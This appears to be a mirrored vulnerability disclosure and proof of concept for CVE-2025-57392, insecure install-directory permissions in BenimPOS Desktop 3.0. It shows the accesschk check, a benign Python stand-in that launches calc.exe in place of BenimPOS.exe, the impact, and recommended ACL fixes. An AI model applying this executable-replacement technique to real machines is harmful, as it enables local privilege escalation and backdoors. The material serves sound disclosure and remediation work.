Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1110 CNY

100%

CVE-2025-57392 PoC — BenimPOS Desktop 安全漏洞

Source
Associated Vulnerability
Title:BenimPOS Desktop 安全漏洞 (CVE-2025-57392)
Description:BenimPOS Masaustu 3.0.x is affected by insecure file permissions. The application installation directory grants Everyone and BUILTIN\Users groups FILE_ALL_ACCESS, allowing local users to replace or modify .exe and .dll files. This may lead to privilege escalation or arbitrary code execution upon launch by another user or elevated context.
Readme
CVE-2025-57392

🔒 Security Vulnerability Report
Product: BenimPOS Desktop V3.0
Vulnerability Type: Insecure File Permissions
Affected Components: BenimPOS.exe, unins000.exe, System.Data.SQLite.dll
Vulnerability Class: CWE-276: Incorrect Default Permissions
Proof of Concept by: Fatih Bülbül
Test Environment: Windows 11 x64 – Local Admin + Standard User


🛠️ 1. Vulnerability Detection
First, I checked the permissions of the directory where the BenimPOS application is installed using the AccessChk.exe tool developed by Sysinternals:
Command Used:
accesschk.exe -dqvw "C:\Program Files (x86)\BenimPOS"

Obtained Result:
RW Everyone
  FILE_ALL_ACCESS
RW BUILTIN\Users
  FILE_ALL_ACCESS


📌 FILE_ALL_ACCESS permissions have been granted to the "Everyone" and "BUILTIN\Users" groups. This means that any standard user can modify the application's .exe or .dll files.
📸 A screenshot of this output is provided below:

<img width="945" height="437" alt="image" src="https://github.com/user-attachments/assets/91dbc4e4-1f96-4652-a7ea-dff804744fa2" />

<img width="945" height="536" alt="image" src="https://github.com/user-attachments/assets/17494949-0b24-44a5-95ab-0d258b6706e6" />


2. Exploitation of the Vulnerability
With these permissions, I replaced the BenimPOS.exe file in the application directory with a custom harmless .exe file I created.
📦 Malicious EXE Example (launches calc.exe):
import subprocess
import sys
import traceback

try:
    subprocess.Popen(r"C:\\Windows\\System32\\calc.exe")
except Exception as e:
    with open("error_log.txt", "w") as f:
        f.write(traceback.format_exc())
    sys.exit(1) 


•	I converted this script into an .exe file (e.g., using PyInstaller).
•	Then, I replaced the original BenimPOS.exe file with this new executable.
🔁 Program Launch:
•	Instead of opening BenimPOS, the calculator (calc.exe) was executed.
📸 Screenshot (calc.exe launched):

<img width="945" height="711" alt="image" src="https://github.com/user-attachments/assets/f3cd6808-79f7-47b7-ae2f-78c2a82d3bea" />

<img width="945" height="748" alt="image" src="https://github.com/user-attachments/assets/bacfc701-27a4-4812-ae87-881c0987c1b1" />

<img width="945" height="660" alt="image" src="https://github.com/user-attachments/assets/b749dd1f-0f6d-4e4d-a2f7-d2cb5e151aae" />


🧨 3. Impact and Risk
The impact of this vulnerability is critical:
Category	Description
Privilege Escalation	A standard user can impersonate processes with administrative privileges.
Malicious Code Injection	An EXE or DLL file can be modified to insert a backdoor.
Application Manipulation	The POS application can be altered with malicious functionalities to deceive users.
________________________________________
🩹 4. Recommended Solution
1.	Standard users should not have write permissions in the application installation directory.
2.	Only the following groups should have write access to the C:\Program Files (x86)\BenimPOS directory:
o	Administrators
o	SYSTEM
3.	Access Control Lists (ACLs) should be properly configured during installation.
File Snapshot

[4.0K] /data/pocs/f1dc8e3311463df4685618a3c01a0c32c7fbb74b └── [3.0K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →